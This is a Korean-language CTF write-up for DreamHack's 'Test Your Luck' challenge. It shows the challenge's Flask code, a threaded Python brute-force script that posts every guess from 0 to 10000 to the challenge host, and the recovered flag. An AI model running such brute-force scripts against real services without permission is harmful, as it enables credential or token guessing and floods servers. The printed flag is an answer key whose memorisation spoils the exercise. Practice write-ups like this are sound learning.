[Solved in under 16 minutes]
Wargame이 모의침투 하는거보다 훨씬 쉽다.
답이 정해져있기 때문이다.. 하ㅏ하하하ㅏ
가보자

숫자를 넣어서 푸는 문제인 것 같다.
아무 숫자를 넣으니

다시 시도하라는 문구가 뜬다.
코드를 보자

from flask import Flask, render_template, request, jsonify
import random
app = Flask(__name__)
NUMBER_RANGE = (0, 10000)
TARGET_NUMBER = random.randint(*NUMBER_RANGE)
def flag():
try:
FLAG = open("./flag", "r").read()
except:
FLAG = "[**FLAG**]"
return FLAG
@app.route('/')
def index():
return render_template('index.html', range=NUMBER_RANGE)
@app.route('/guess', methods=['POST'])
def guess_number():
user_guess = int(request.form['guess'])
if user_guess == TARGET_NUMBER:
return jsonify({"result": "Correct", "flag": flag()})
else:
return jsonify({"result": "Incorrect", "flag": "Try again~!"})
if __name__ == '__main__':
app.run(host="0.0.0.0")
간단하게 해석하자면 0 ~ 10000 사이에 랜덤으로 번호를 주고 해당 값을 넣어서 맞추면 flag가 뽑히는 문제이다.
바로 GPT 형님한테 달려갔다.

URL = "http://host1.dreamhack.games:13776/guess"
WORKERS = 50 # 동시에 시도할 쓰레드 수
def try_guess(n):
try:
r = requests.post(URL, data={"guess": str(n)}, timeout=5)
if "Correct" in r.text or "DH" in r.text:
return (n, r.text)
except Exception:
pass
return None
def main():
total = 10001
completed = 0
start = time.time()
with ThreadPoolExecutor(max_workers=WORKERS) as executor:
futures = [executor.submit(try_guess, n) for n in range(total)]
for future in as_completed(futures):
completed += 1
if completed % 500 == 0:
elapsed = time.time() - start
pct = (completed / total) * 100
print(f"[i] {completed}/{total} ({pct:.1f}%) | {completed/elapsed:.1f} req/s")
result = future.result()
if result:
n, text = result
print(f"\n[+] 정답 찾음: {n}")
print(text)
return
print("[-] 0~10000에서 못 찾음")
if __name__ == "__main__":
main()
POST 형식으로 0 ~ 10000 까지 값을 보내면서 DH 문자열이 있으면 출력하는 코드이다.
포인트는 병렬 처리를 하여 시간을 많이 단축시키는 것이다!
코드를 실행시켜보자

내가 한건 생각밖에 없다.
GPT 형님은 신이다.
원리는 알고 쓰자~~

야호~
홈페이지에 넣어주면~?

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ 답 ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
DH{ec5762d9893b04b4:r4x7keDDk6EWCjJttVxMlA==}
ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
여러가지 방법이 있겠지만 간단하게 Brute-force를 생각했다~~
DreamHack Test Your Luck Write-up
이상 보고 끝!